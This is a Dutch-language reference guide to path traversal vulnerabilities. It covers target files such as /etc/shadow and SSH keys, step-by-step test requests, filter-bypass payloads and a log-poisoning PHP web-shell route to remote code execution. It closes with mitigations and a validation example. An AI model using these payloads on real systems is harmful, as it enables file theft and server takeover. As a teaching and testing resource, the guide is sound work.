Skip to content

Path Traversal – Directory Traversal

Volledige Referentiegids


1. Wat is Path Traversal?

Path Traversal (ook wel Directory Traversal genoemd) is een kwetsbaarheid waarbij een aanvaller de applicatie misleidt om bestanden te lezen (of schrijven) buiten de bedoelde map op de server.

Normale bedoeling : /var/www/images/product.jpg
Aanval            : /var/www/images/../../../etc/passwd
Resultaat         : /etc/passwd  ← gevoelig systeembestand

De ../ sequentie betekent "ga één map omhoog" — door deze te herhalen navigeer je naar de root van het bestandssysteem.


2. Impact

Impact Voorbeeld
Gevoelige bestanden lezen /etc/passwd, /etc/shadow, configuratiebestanden
Credentials stelen Database-wachtwoorden, API-sleutels in config files
Broncode lezen Applicatielogica, hardcoded secrets
Systeeminformatie OS-versie, gebruikerslijsten, netwerkconfiguratie
In combinatie met upload → RCE Bestand uploaden + path traversal naar executie

3. Herkennen — Waar zit Path Traversal risico?

Zoek naar parameters die verwijzen naar bestandsnamen of paden:

Functie Voorbeeld parameter
Afbeeldingen laden ?filename=product.jpg
Bestand downloaden ?file=rapport.pdf
Template laden ?template=home.html
Log viewer ?log=access.log
Include / import ?page=about
Avatar / profielfoto ?img=user123.png

Minder voor de hand liggend

  • Referer header met bestandspad
  • Content-Disposition in upload responses
  • API endpoints: /api/files/{filename}
  • Path parameters in REST: /download/invoice-2024.pdf

4. Doelbestanden per OS

Linux / Unix

/etc/passwd                          ← gebruikerslijst
/etc/shadow                          ← wachtwoord-hashes (root vereist)
/etc/hosts                           ← lokale DNS
/etc/hostname                        ← servernaam
/etc/os-release                      ← OS-versie
/proc/version                        ← kernel versie
/proc/self/environ                   ← omgevingsvariabelen (soms creds)
/proc/self/cmdline                   ← hoe de app gestart is
/var/log/apache2/access.log          ← Apache access log
/var/log/apache2/error.log           ← Apache error log
/var/log/nginx/access.log            ← Nginx access log
/home/{user}/.ssh/id_rsa             ← private SSH key
/home/{user}/.bash_history           ← command history
/root/.ssh/id_rsa                    ← root SSH key
/var/www/html/config.php             ← webapplicatie config
/app/config/database.yml             ← database credentials

Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM       ← wachtwoord-hashes (vereist rechten)
C:\inetpub\wwwroot\web.config        ← IIS configuratie
C:\xampp\htdocs\config.php
C:\Users\Administrator\Desktop\
C:\boot.ini

5. Testen — Stap voor stap

Stap 1 — Baseline identificeren

Zoek een parameter die een bestand of pad bevat:

GET /image?filename=product.jpg HTTP/1.1

Stuur dit naar Burp Repeater voor manuele tests.


Stap 2 — Simpele traversal

GET /image?filename=../../../etc/passwd HTTP/1.1

Als de response de inhoud van /etc/passwd bevat → Path Traversal bevestigd.


Stap 3 — Diepte bepalen

Je weet niet altijd hoe diep de applicatie zit in het bestandssysteem. Gebruik voldoende ../:

../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd

Te veel ../ is niet erg — je stopt gewoon bij de root /.


Stap 4 — Absolute paden testen

Sommige applicaties laten absolute paden door als de validatie alleen op ../ let:

GET /image?filename=/etc/passwd HTTP/1.1

Stap 5 — Windows-paden testen

Op Windows-servers:

..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts

6. Filters omzeilen

6a. Gestripte ../ sequenties

De applicatie verwijdert ../ uit de input maar doet dit niet recursief:

....//                 ← na strippen van ../ blijft ../ over
....\/
..././
...\.\

Voorbeeld:

....//....//....//etc/passwd

Na niet-recursief strippen van ../:

../../etc/passwd  ← traversal geslaagd

6b. URL-encoding

..%2F..%2F..%2Fetc%2Fpasswd          ← / als %2F
..%252F..%252F..%252Fetc%252Fpasswd  ← dubbel encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd  ← . en / encoded
%2e%2e/%2e%2e/%2e%2e/etc/passwd

Dubbele encoding is nuttig als de server twee keer decodeert:

%252F → decodeert naar %2F → decodeert naar /

6c. URL-encoding van de backslash (Windows)

..%5C..%5C..%5Cwindows\win.ini       ← \ als %5C

6d. Verplichte base path omzeilen

De applicatie vereist dat het pad begint met een bepaalde map:

/var/www/images/

Bypass:

filename=/var/www/images/../../../etc/passwd

De validatie ziet de correcte base path, maar de traversal neutraliseert deze daarna.


6e. Verplichte extensie omzeilen

De applicatie vereist een bepaalde bestandsextensie (bijv. .jpg):

Null byte injection:

filename=../../../etc/passwd%00.jpg

De null byte (%00) termineert de string in sommige talen (C, PHP oud) — de .jpg extensie wordt genegeerd door het OS.

Let op: werkt niet meer in moderne PHP (≥ 5.3.4) maar nog relevant in legacy systemen.


6f. Combinaties

....%2F....%2F....%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
/var/www/images/../../.%2e/etc/passwd

7. Automatische detectie — Burp Suite

Wat Burp WEL detecteert

  • Standaard ../ traversal in GET/POST parameters (active scan)
  • Absolute paden (/etc/passwd)
  • Basis URL-encoding varianten
  • Bekende doelbestanden als bevestiging (kijkt naar /etc/passwd inhoud in response)

Wat Burp NIET altijd detecteert

Blinde hoek Reden
Traversal in headers Referer, Cookie minder getest
Null byte bypasses Minder in moderne scan templates
Dubbele encoding Niet altijd in scope van scanner
Path parameters in REST /api/download/../../etc/passwd soms gemist
Applicatie-specifieke filters Custom striplogica moeilijk automatisch te omzeilen
Burp active scan = goed startpunt
Manueel testen   = noodzakelijk voor filter bypasses

8. Burp Intruder — Aanpak voor filter bypasses

Gebruik een Path Traversal woordenlijst als payload:

Aanbevolen lijst: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt

Intruder → Sniper
Parameter: filename=§product.jpg§
Payload:   LFI woordenlijst
Filter:    Response lengte afwijkend van baseline

9. Wat te doen bij bevestiging?

Path Traversal bevestigd
    │
    ├─ /etc/passwd → gebruikersnamen achterhalen
    ├─ /etc/shadow → wachtwoord-hashes (indien rechten)
    ├─ ~/.ssh/id_rsa → SSH key exfiltratie
    ├─ Config files → database credentials, API keys
    ├─ Broncode lezen → verdere kwetsbaarheden zoeken
    ├─ Log files → log poisoning → RCE
    └─ Combineren met file upload → RCE

10. Path Traversal → RCE via Log Poisoning

Als je logbestanden kunt lezen en er user input in de logs terecht komt:

  1. Stuur een payload in een header die gelogd wordt:
GET /index.php HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
  1. Lees het logbestand via path traversal:
filename=../../../var/log/apache2/access.log&cmd=id
  1. De PHP-code in het log wordt uitgevoerd → RCE.

11. Tools

Tool Gebruik
Burp Suite Pro Active scan, Repeater, Intruder
ffuf Fuzzing van bestandspaden
dotdotpwn Gespecialiseerde path traversal fuzzer
SecLists LFI/path traversal woordenlijsten (/Fuzzing/LFI/)
Burp Logger++ Response-filtering op bestandsinhoud

12. Mitigaties

  • Valideer gebruikersinput — sta geen ../, ..%2F, of absolute paden toe
  • Gebruik een allowlist van toegestane bestandsnamen of ID's in plaats van directe bestandspaden
  • Canonicaliseer het pad vóór validatie — gebruik realpath() of equivalent en controleer of het resultaat binnen de verwachte base directory valt
  • Geef de webserver minimale bestandssysteemrechten (principle of least privilege)
  • Chroot / containerisatie — beperk het zichtbare bestandssysteem van de applicatie
  • Sla bestanden op via database-referenties of object storage (S3) in plaats van directe bestandspaden
  • Nooit bestandsnamen direct concateneren met een base path zonder validatie

Voorbeeld correcte validatie (PHP)

$basePath = '/var/www/images/';
$userInput = $_GET['filename'];

$fullPath = realpath($basePath . $userInput);

if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
    // Pad verlaat de base directory → afwijzen
    http_response_code(403);
    exit;
}

// Veilig om te lezen
readfile($fullPath);